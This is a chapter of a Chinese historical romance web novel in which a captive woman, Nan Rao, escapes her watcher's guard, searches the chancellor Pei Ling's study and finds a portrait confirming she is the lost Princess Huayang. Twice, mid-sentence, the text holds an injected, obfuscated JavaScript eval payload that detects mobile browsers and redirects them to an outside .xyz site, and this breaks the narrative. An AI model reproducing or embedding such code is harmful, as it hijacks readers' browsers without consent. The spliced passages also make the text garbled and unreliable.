裴淩笔尖顿住,抬起漆黑的双眸,视线落在她略显忐忑的脸上。 “说了不必你伺候,你不是奴婢,不必做这些杂事。”他垂眸叹息,接过茶盏,搁在一边,“茶水滚烫,别烫着了。” 她踌躇道:“我……反正也无事可做。” 裴淩目光暗沉,仔细观察她的脸,她面容瓷白,眼睫低垂,唇瓣轻轻抿着,似乎很不安。 或许她这几日意识到自己孤独无依、想再寻个有权有势的男人作为依靠,又或者,是经此一逃后发觉裴淩对她有意,便选择了认命。 无论是哪种,都说明她会更接受在他身边。 裴淩一想到此,心底便犹如石落湖底,激起阵阵涟漪。 他怜惜她此刻的不安,也极其期待她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14261945|149948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道真相会是什么反应,他忍了这么久,终于可以放肆地告诉她,他们才是夫妻。 只要冬至宫宴过去,这场自五年前便未曾停歇的寒冬,就该结束了。 一切都会好起来的。 - 南荛死缠着裴淩,每日待他处理完公务,天将黑时才出书房用膳,这日,宫中来了吕常侍,皇帝诏传裴淩进宫商议要事。 南荛仍攥着裴淩的衣角,不肯让他走。 她不懂大局,只顾拽着裴淩,绝不撒手。 此前,担心她会想不开,南荛身边的尖锐物都已被收走,连同陆恪送她的那把匕首。这几日下来,南荛状态好转,令他极为满意,为了哄她撒手,裴淩便把自己的那把御赐的削铁如泥的匕首送给她。 他把匕首放在她怀里,“留给你防身,但不许伤害自己。” 她这才稍微放松手指,低头不语。 等裴淩离去,她一动不动地坐在屋内,注视着怀中的匕首。 就在此时,她忽然听到耳畔传来一丝响动。 好似什么东西被轻轻撬开时发出的咔哒声,极轻微,随后便是沉闷的脚步落地声。 黑暗中,她屏住呼吸,耳侧传来一道熟悉的女声。 “公主。” 是谢明仪。 几天过去了,南荛纵使使出浑身解数缠着裴淩,依然没能成功地去搜寻印证身份的东西。 谢明仪却提前过来找她了。 也恰恰是因为这几日的纠缠,南荛才更加深刻地意识到,“权倾朝野、只手遮天”这八个字,是个什么样的概念。丞相府的守卫比她想象中还要多,偶尔裴淩出行,甚至有专门护送陛下的羽林、虎贲军随行[1]。 想到此,南荛忍不住问:“你是……怎么进来的?” 谢明仪居然真的可以混进来? 谢明仪言简意赅:“这五年来,奴婢为了查您当年遇害的真相,夜探相府的次数哪怕没有一百次,也少说有五十次了。” 熟能生巧。 她甚至还刺杀过裴淩。 可惜没得手。 不仅没得手,有一次裴淩还将她生擒了,险些当场处决她。 谢明仪不惧死,她被人反扭双臂按着跪在地上,对裴淩冷笑说:“你杀了我也好,我好下去陪公主。” 她不记得裴淩当时的神情了,只记得千钧一发之际,荣昌公主萧婼慌慌张张赶了过来。 萧婼那时年纪还小,很是惧怕气场冰冷的裴淩,却张开双臂、如老母鸡护崽似的将谢明仪挡在身后,对裴淩哆哆嗦嗦道:“本、本宫已经向皇兄要了恩典,谢明仪已经是本宫的侍女了!” 再后来,谢明仪才知道,原来当晚把荣昌公主紧急叫来保她的人,是邓太尉家的大公子,时任中大夫邓铉。 邓铉,字季明,也是打小便疼宠华阳公主的表兄。 也因此事,邓铉得罪裴淩,后来被调离洛阳,去做了县丞。 许多回忆从心头掠过。 谢明仪只问:“公主,您想好了吗?” 这几日,谢明仪也认真考虑过如何在裴淩手中保全公主,她觉得最妥当的方式,就是带公主去太尉府,太尉这几年虽沉疴病榻,但到底还是公主的亲舅舅,也是太皇太后的子侄。 至于怎么逃离此处…… 谢明仪方才顺路扒了两件下人的衣服,又特意挑裴淩不在府上、守卫松懈的时机,若还是不行,大不了她引开守卫保证公主先逃,她再被生擒一次也无妨。 南荛听完她的想法,飞快摇头道:“不可以,太冒险了。” 话音刚落,外头传来急促的脚步声。 “娘子?” 门被叩响,是狄钺的声音,“你还好吗?” 20.第 20 章 今日居然是狄钺守在外头。 南荛快速思考着,打手势示意谢明仪躲到房间的角落里,借助床帐遮挡,黑暗瞬间隐匿了谢明仪的身形。 南荛快步走过去开门,望向站在门口的狄钺,“我没事。” 狄钺的手都按在了剑鞘上,闻言方才松了口气,“那便好,我方才听到什么动静,险些以为——” 以为有人潜进来了。 南荛听罢,状似不经意地试探道:“你一直在这附近吗?这外头冷,要不要进屋里坐坐?” 狄钺不好意思地摸摸后脑勺,“不必了。在下正在这周边巡逻呢……” 南荛笑笑,目光看似温和平静,掩袖轻咳两声,心里却想:狄钺当真敏锐,真不愧是裴淩身边的亲信,眼下他声称正在巡逻,又出现得这么快,大抵便是裴淩进宫前就派狄钺看着她了。 把她看得还真严实。南荛心里又是无力,又有些暗恼。 她眼珠子转了转,垂眸咬唇,状似失落道:“好吧……我本想着,眼下裴大人不在,我一个人待着,着实有些……”她扶着门框的手指不自觉攥紧,似是为难。 狄钺一愣,见她这副欲言又止的模样,忽然想起严伯玉之前说过的话来。 严詹说,公主自上次逃离后便受惊过度,害怕一个人独处,非得让丞相陪着才肯消停,眼下丞相进宫,她一个人也许会害怕。 这也是为什么,现在是狄钺守在这儿。 狄钺和她也算熟识了。 狄钺这样想着,看着眼前时而咳喘两声、弱不禁风的公主,愈发心生怜惜,有些动摇。 他认真想了想,终于勉强答应,“……那在下,就陪娘子说说话?” 南荛立即欣喜地点头,打开门让他进来。 屋内光线昏暗,只点了一两盏灯烛,狄钺皱了皱眉,借着昏暗的光寻了一处坐下。 自南荛上次逃跑后,狄钺也自责不已,怪自己粗心,未能及时发现她的不对劲,后来他也鲜少有靠近她的机会了,也担心南荛会因逃跑失败与他生出嫌隙。 这还是她第一次主动同狄钺说话,狄钺难免紧张,往常他能说会道,此刻也有些不知该从什么地方聊起。 南荛想了想,主动开启话题:“将军能同我说些……有关华阳公主的事吗?” 狄钺没想到她问这个,怔了怔才道:“其实……在下从前见过公主的次数不多,很多都是听别人说的……不过可以确定的是,民间虽传公主从前骄横跋扈,但实际上,公主从前……人特别好,秉性正直……” 他一说起来,便不自觉滔滔不绝起来。 南荛从前听这些,只当在听话本子里别人的故事,自从怀疑自己就是公主以后,再听这些便心情复杂。 狄钺说了很久,发觉南荛眼睫低垂,不知在想些什么,忍不住问道:“娘子怎么了?” 她轻声道:“我在想,公主这样好,丞相应是不会轻易忘了她罢?” “那是当然!”狄钺不假思索地回道。 她笑意勉强,烛光下浓密的睫羽轻颤,隐隐含泪,似是极为沮丧失落,“公主这般美好,纵使离世多年,丞相也仍对她念念不忘、情深义重。而民女微贱之身,漂泊无依,又嫁过人,若说公主是天上的云,我便如这地上的污泥般……” 狄钺呆了呆,不料南荛竟会这么想。 她为什么要拿自己和公主比? 该怎么和她解释,她们本来就是一个人,她不必这样妄自菲薄?狄钺抓着脑袋,神色纠结为难,“娘子莫要这样说,公主虽好,但你也很好。” 南荛却兀自沉浸在伤心的情绪里,“我与公主宛若云泥之别,想必在丞相心里,也是如此吧。” 狄钺听罢,再度目瞪口呆,久久才反应过来,原来她这般在意这个,是因为丞相?她想在丞相心里占据的份量更重些是么? 她终于肯对丞相动心了!狄钺一边不知该如何解释,一边又极是欣喜,“娘子若是担心这个,那万万不用想这么多,你放心,丞相待你定是真心的!” “可我哪里比得上那些出身高贵、满腹诗书的世族千金……” “怎么会?娘子性情温柔、心地善良,长得又好看,我瞧你比她们都好呢!” 南荛抬眸,幽幽地问道:“可将军方才不是说,这世上没有人能比得过公主吗?” 狄钺霎时被问住,摸着脑袋左顾右盼,结结巴巴道:“哎,我那个……我……也不是这个意思……” 他慌乱地解释起来,语无伦次。 南荛见他如此,面上看似楚楚可怜,实则眼底逐渐流露出一丝讽刺的意味——看来裴淩身边的人,也早早知道裴淩一开始就在欺瞒她,都竭力全力地想让她屈从于裴淩。 就在狄钺急于解释之时,全然没有注意到黑暗中有道影子正在逐渐迫近他的背后,下一刻,手刀狠狠劈在他的后颈上,狄钺瞪大眼睛,一个字都未及发出,便直挺挺地倒了下去。 谢明仪凝视着地上的人,冷声道:“虚伪。” 口口声声说仰慕公主,却帮着丞相监视她。 谢明仪越想越气,忍不住用力踹他一脚。 南荛瞧见谢明仪撒气的举动,忍俊不禁,她倒不讨厌狄钺,狄钺只是奉命办事,也许他是真心觉得,她只有跟了裴淩才是为她好。 南荛只是在想,得亏今夜守着她的人是狄钺,她才好应对。说来,裴淩心机深沉,身边竟能容下这样一个性子直率、毫无心眼的下属,真是稀奇。 她蹲下身,从狄钺腰侧取下一块腰牌。 借着烛火翻看两下,发现这竟是羽林军的腰牌。 “他竟不是丞相府的侍卫。”南荛喃喃着,快速地思索起来:狄钺说今晚在巡逻,可他的真实身份是羽林郎中,不该在相府巡逻才对。 这会不会意味着,现在实际上还有别的羽林军正悄无声息地守在相府四周? ……那谢明仪又是怎么进来的? 细思极恐。 南荛不禁起了身冷汗。 她突然道:“我不能跟你走了。” 谢明仪一惊,“公主?!” “多谢你今夜来找我,我自己的事,本就不该连累别人。”南荛下定了决心,抬头看着谢明仪,镇定道:“今晚恐怕没有表面看上去那般简单,我若跟你走,极有可能我们两个都走不了。” 谢明仪皱眉道:“可是公主,倘若今日不走,以后恐怕也没机会了。” 谢明仪既然敢闯丞相府,便做好了不脱身的准备,对她而言,只要能保证公主的安危便好了。 当年公主出事时,她未能守在公主身边,如今这种时候,又怎能眼睁睁看着? 她激动地望着南荛,南荛苦笑着,避开她的目光,低声道:“就算走了又如何?裴淩而今位高权重,我若投靠旁人,只会连累旁人,若单靠我自己,也始终逃不掉。” 倒不如直接坦率地面对。 她垂眼望着脚尖,嗓音虽轻,却无比坚定,“况且,无论我是谁,我都也没有打算做公主,你不必白费这些功夫。” 谢明仪说:“奴婢还是不明白……” 南荛道:“人人皆说华阳公主当年何其威风,可最终她却落得如此下场,可见做公主也未必好命,即使我做回公主,在洛阳就一定能自保吗?何况,华服彩衣不过是身外之物,只要能安稳度日,对我而言便足够了。” 南荛一直很清楚,她想要的是什么。 身为失忆之人,她看似漂泊无依,却绝不甘于随波逐流。 谢明仪心中微震,见她话语如此坚决,比起那日刚知道真相时的恐惧无助,此刻更显得坦荡而从容。 她沉默许久,再次对她拜道:“既然公主心意已决,奴婢便不再多言。于奴婢而言,只要公主平安,一切便也足够。但公主若还受限于裴淩,奴婢将来无论如何也还是会再来救公主。” 南荛只是朝她温和地笑笑。 由于外头危险未知,南荛让谢明仪先别轻举妄动,她先出去探探,吸引旁人注意,谢明仪再寻机逃走。 南荛在身上揣好匕首,拿起狄钺的腰牌出去。 有了腰牌,一切便畅通无阻许多。 狄钺虽是羽林郎,但他和裴淩之间的关系比南荛想象中还要亲密,丞相府认识他腰牌的人不少。 南荛生得清丽婉约,外表看上去楚楚动人、弱柳扶风,仿佛风一吹就倒,没有人能想到这个腰牌是她从习武的狄钺手中硬抢来的。 南荛走到裴淩的书房外,出示狄钺的腰牌,却依然被人拦下,“此处若无丞相的手令,任何人都不许进入。” 南荛淡淡道:“若我非要进去呢?” 那侍卫冷硬道:“不行,你……” 他话还没说完,南荛眸光骤寒,冷叱一声,“放肆!” 这一声呵斥,着实气势十足,将对方震慑在原地。 不等他们反应过来,南荛便冷笑着道:“你们几个难道眼瞎了?我每日都陪着丞相出入书房,此处我都不知来多少回了,连裴丞相都不介意,你们几个还敢有眼无珠地拦着我?怎么,你们真以为我这次就没有获得丞相许可吗?” 她这一番话委实唬人,俨然一副未来相府主母的架势,那两个看门的侍卫都从没见过这般嚣张的,从她脸上看不出半点心虚。 加之他们值守此处,的确每日都看到南荛,也知道丞相对她疼宠万分……若没有丞相许可,寻常女子恐怕也不敢擅闯书房。 一时之间,他们都稍微犹豫起来。 “还不给我让开?!” 她再度呵斥,嗓音清冷。 那两个侍卫互相对视一眼,终于沉默地让开。 南荛推门进入了书房。 - 按照往常,入夜后宫门下钥,皇帝便不会再传召臣子入宫,尤其裴淩位居丞相之尊,若无大事,自然不得随意惊动。是以这夜裴淩入宫时,领路的内常侍吕之贺便边走边解释道:“今夜前方有战报传了过来,北边有了动静,陛下正忧心着呢。” 裴淩了然。 他到时,果然还看到了太尉杨嗣、尚书令陈之趙、太傅杨晋等人。 几日前,杨晋之子杨肇被裴淩派人绑走,成安大长公主眼见着儿子被公然带走,当即气得要进宫告状,半只脚都已踏入了宫门,转而又听到裴淩要把人送去廷尉狱,所认定之罪竟是“指使仆从杀人”,这要是真关进去,只怕真难救出来了。 大长公主不得以绝了去御前闹事的念头,半道儿又拉着杨晋去拦人,把杨肇险险救了下来。 这事儿闹得动静不小,洛阳城中不知多少人在暗中瞧着,最终却又轻轻放下。 杨家又吃了哑巴亏。 杨肇被接回府后,还被问候了家法。 据说那夜,杨晋亲自在祠堂拿鞭子狠狠抽这个不孝子,杨肇还在不甘心地哭嚎,“裴淩那厮绝对有问题!指不定就是被我发现了什么不得了的秘密,不然他怎的独独就针对我?当真有个女人!阿父,孩儿断断不会撒谎!孩儿这么盯着裴淩,也是为了妹妹、为了我们杨家啊!” 杨晋脸色铁青,“你还敢说!老夫的脸都让你给丢尽了!” 杨晋足足抽断了两根鞭子,才命人把晕死过去的杨肇抬下去。 此刻,杨晋一看见裴淩,脸色又变得极为铁青,只差在裴淩路过他跟前发出两声冷哼。 成朔帝萧文惔将之看在眼里,他也听说过了前几日的事,乐于见这二人内斗,横竖没闹出人命便是了。 比起杨太傅与裴丞相间暗流涌动,太尉邓嗣倒在一边时不时咳嗽两声,一副状态游走在外的模样。 先帝时期,因皇后与太后皆是邓氏女,邓家曾权倾一时,但自从五年前新帝登基、华阳公主离世后,邓嗣便开始频繁称病,闭门谢客。 虽位居三公,但这些年却日渐将话事权让渡给了旁人。 也不知是为了保全家族,还是当真身体不好,现今邓嗣低调,连朝会都鲜少参与,今夜也不过是“勉强支撑着病体”在场。 待裴淩落座后,皇帝方才淡淡开口:“方才战败送来,北道又有一国选择依附于匈奴,看来开春打仗的难度又上升不少。” 今夜皇帝召三公议事,也是为了商议此事。 邓嗣道:“老臣便直说了,臣以为,开春后不宜打仗,这两年战争耗费不少,此刻更该休养生息,避免劳民伤财。” 尚书令陈之趙道:“臣以为不可贸然行动。” 皇帝又不自觉看向裴淩,于治国大政上,裴淩眼光独到,几乎从无判断失误,“丞相以为呢?” 裴淩冷淡道:“不战。” 若是往年,以裴淩杀伐果断的风格,必是主战一方,如今他这样说,让杨晋怔了怔。 裴淩微微垂眼,嗓音清冷,不紧不慢道:“往年开战,早春占进先机,其一是春季回暖,雨水多,有利于骑兵突袭,且冬日之后战马皆饿得扁瘦,开春正乃畜牧农业的关键时期,此刻发兵,更宜打断敌军的休养生息。是以,先帝时期凡遇匈奴之战,皆时常于正月发兵,百战百胜,不仅为将领之功 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14268169|149948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,更决于国力。” “但今时不同往日,眼下军饷吃紧,战马不壮,没有一粟一石的供给,怎能千里奔袭,占尽先机?段纮战死不久,而今士气低迷,不宜贸然行动。况且,若要发兵,又该指派何人?” 眼下冬至将近,皇帝已下令宫宴较之往年从简,就是因为军饷吃紧。 裴淩这番话说完,邓太尉抚须点头,杨晋却道:“我们自是休养生息了,但也给了敌军缓和之机,经过一年多的耗损,想必匈奴此刻可用战马粮草已是不多,如今更该一鼓作气,避免其有缓冲之机。” 皇帝心生犹豫,他明白裴淩所言的道理,但如今,他已失去段家这个棋子,裴淩势力如日中天,若全然听他,只怕今后更难与之相抗。 如今朝中可用的武将,已经不多。 段纮战死时,前奉车都尉孙愈发兵及时,也算立下功劳,皇帝已早早将其封为博阳侯,还下旨将胞妹荣昌公主指婚给孙愈长子孙昶,便早有开春之后命此人出征,若立战功,再令其继任大将军之意。 但想归想,当今朝中,又有几人是裴淩对手? 又怎么保证不是下一个段纮? 皇帝面色凝重,久久未曾言语。 裴淩至始至终垂着眼睫,面色清冷,他不是不能猜到皇帝的心思,也清楚今夜聊不出结果。 待出了崇德殿后,裴淩便乘车回府,疾步踏入相府大门。 官服的宽大袖摆被寒风吹得猎猎作响,男人的俊挺清冷的容颜被灯火映照着,端得神清骨秀、风流蕴藉。 他边走边淡声问:“可有什么动静?” 一直在相府内待命的羽林右中郎将李奢上前道:“禀丞相,一切都很安静,没有异动。” 李奢今日受命而来,派人在丞相府周围暗中做了不少埋伏。 这几日南荛乖顺听话,仿佛被磨损了所有的锐气,但裴淩心里清楚,他的公主一向不傻,傲骨难折,昔日在廷尉狱中说被毒死也无所惧的人,怎可能因为被袭击了就胆小至此? 裴淩这几日看似心猿意马,也有即兴陪她演戏的意味在。 他胜券在握,便纵容她撒娇纠缠,只是想瞧瞧,她到底要做什么? 那日在客栈发现她时,他便觉蹊跷,怀疑她是碰见过什么人,听了什么话,才会突然转性。 今夜离府,也有故意为之。 今夜的丞相府,易进难出,看似松懈异常,实则瓮中捉鳖,只要有人敢带走南荛,无论是谁,踏出丞相府的瞬间,都会被射杀成筛子。 裴淩人虽不在府中,但谁也别想再劫走南荛。 原以为眼下听到李奢的禀报,他微微挑眉,本以为今夜有条大鱼,看来是他多疑了。他不紧不慢地朝着南荛所住的方向走去,又问:“她今夜可还安静?” 李奢知道,这个“她”是指谁。 他想了想道:“南荛娘子今夜在四处走动,似乎是在散心?” 裴淩脚步顿住。 他负手侧身,视线落在李奢脸上,“什么意思。” 李奢迷茫道:“就是半刻钟前……她拿着狄郎中的腰牌,说要独自散散心,属下想着也只是散心,便没拦着……难道不是您应许的吗?” 以狄钺和裴淩关系的亲密程度,那些巡逻的人看到腰牌,第一反应都是这样想的。 裴淩的眸光却骤然寒冽下来。 恰在此时,有人慌慌张张来报,“丞相不好了,狄、狄将军被人打晕在南荛娘子的房里……” 南荛能杀普通成年男子,却绝无可能悄无声息地解决会武的狄钺。 裴淩何其聪明,极快地联想到什么,转头朝着书房的方向快步走去。 - 布置简单雅致的书房里,光线昏暗。南荛跟随裴淩来过几次,早已熟悉里面的布局,借着柔和皎洁的月色,依次点燃了灯烛。 她的目光一一扫过书房的每个角落,开始仔细地翻找。 时间有限。 裴淩随时可能回来。 南荛抓紧时间,着重检查机关暗格,裴淩这种人生性多疑,绝对不会把重要的东西放在眼皮子底下。 南荛全身紧绷,飞快地翻箱倒柜。 只是,她这几日在裴淩跟前表现出的虚弱,并不是全然虚假。 南荛此刻全然顾不上头伤,未曾想到蹲下起身时的动作太急,只觉一股尖锐的刺痛入针扎般袭入大脑,眼前一黑,什么都看不见了。 遭了! 她身子晃了晃,反应极快地伸手扶住距离最近的书柜,指骨用力到泛白,强忍住眩晕之感撑住自己,方才没有栽倒下去。 很快,黑暗褪去,她眼前再度清明。 南荛痛苦地皱着眉头喘息,忍不住用手锤了锤钝痛的太阳穴,方才有那么一瞬间,她好像感觉脑海中闪过了什么模糊的画面,太快了,难以捕捉。 她缓了许久,才慢慢站直身子。 肩膀不经意碰到了什么。 南荛转身,才发现此处有个隐蔽的洞橱,抬手打开。 里头挂着一副画像。 华服盛妆的少女,乌发柔软,肤白明眸,正立于一片花团锦簇之间,她手持羽扇,姿态挺拔得宛若一只骄傲的鹤,侧眸瞥开,眼神清明。 南荛几乎一眼就认出了上面的人。 画的左下方,有小字落款: ——裴观清,绘于景元三十七年秋。 景元三十七年。 也就是六年前。 这是裴淩当年亲手画的……她从前的肖像…… 南荛久久伫立在那儿,盯着眼前这幅丹青,无论谢明仪如何告知她真相,无论事情有多么可疑,她都一直心存侥幸。 直到此时此刻,终于亲眼确认。 她是华阳公主。 她的本名,叫萧令璋。 她不是什么可怜孤女,她是天潢贵胄,先帝之女,也是昔日名噪一时的长公主。 就在此刻,外头骤然有火光逼近,伴随着急促紊乱的脚步声。 裴淩回来了。 门被推开的刹那,外头骤刮进猛烈的风浪,骤然吹起南荛的衣袂与长发,仿佛预示着一场深冬里的狂风暴雨。 裴淩身后还跟着一群人,几乎所有人都瞧见了里头的情形,意识到发生了什么。 谁也不敢出声。 南荛站在明亮的暖光中,不避不让地转过身,对上黑夜中男人投注来的沉沉眸光。 这一次,她先主动开口。 “我想,我们该好好谈谈了。”